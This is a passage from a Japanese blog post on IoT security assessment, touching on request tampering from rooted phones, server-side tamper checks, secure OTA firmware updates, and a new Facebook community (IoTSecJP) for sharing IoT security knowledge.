root端末により設定値や送信値を改ざんしてリクエストを送信するケースですね。
個人的に、認証ロジックなどが面倒な場合に有効な手段だと思いますが、これでハッキングできた際に情報を公開した際、こんな場面に遭遇しました。
1.某メーカーの直属部署マネージャー っ公開資料ダウンロード
2.某メーカーの製品開発に携わった会社の代表取締役 っ公開資料ダウンロード
criticalではなく、「システム仕様の問題」でしたが想定外だったんだろうなーと人間相関図で読み取ることができます。
IoTシステムの開発を委託してお仕事をする場合、「仕様」をちゃんと定義しておけばこのような問題がおきても速やかに対応することができます。
■そのシステムの対策として
アプリの設定ファイルが改ざんされているかのチェックは、サーバーサイドで行うため「常にオンライン」であることが前提なので、プログラムの起動を一時的にエラー画面で停止し、重要な処理が何もできない状態にしていました。
(図)root化端末による改ざんリクエスト
IoTのハッキングは大変困難なケースが多いため、「診断」という形をとるため「各プロトコル」や「システム構成」で攻撃をまとめておくことが重要です。
他のセキュリティ診断士が簡単に真似できる仕組みを作っておくと、さらに良いですね。
(図)手法のドキュメント化
スマートフォンなどのファームウェアアップデート機能など、皆さま良く使われておられると思われます。
一体、スマートフォンレベルで安全なファームウェアアップデート機能って世の中のIoTに分類される機器でどれぐらいの数があるのでしょうか？
安全な基準として、以下の項目をOTA(Over-The-Air)で持っているIoTの数はかなり少ないと考えられます。
脆弱性を指摘されたメーカーは「ファームウェアアップデートで対応する」と言いますが、実際国内の電球やコーヒーメーカーや電子錠はファームウェアアップデート機能を適切に実装できているのか、調べる必要性はありそうです。
(図)安全なファームウェアアップデートとは
IoTセキュリティに関する課題・知見を共有する場が欲しいなといった所で、facebookページで「IoTSecJP」が取れたので、どんなものにするか何も決まってませんけど、とりあえずYahoo知恵袋の感覚でコミュニティ作れればと思って作ったので是非ご参加ください。
https://www.facebook.com/IoTSecJP/
(1)一般消費者向けIoTセキュリティについて
(2)IoT診断について
(3)IoT診断士の育成について
(4)気になったIoTニュースを投げて議論する
イメージとしては、こんな感じで議論できれば最高ですね。
(図)「中国製ネットワークカメラが勝手に動き出して中国語が聞こえてきた怖い話」での会話
(図)お・わ・り
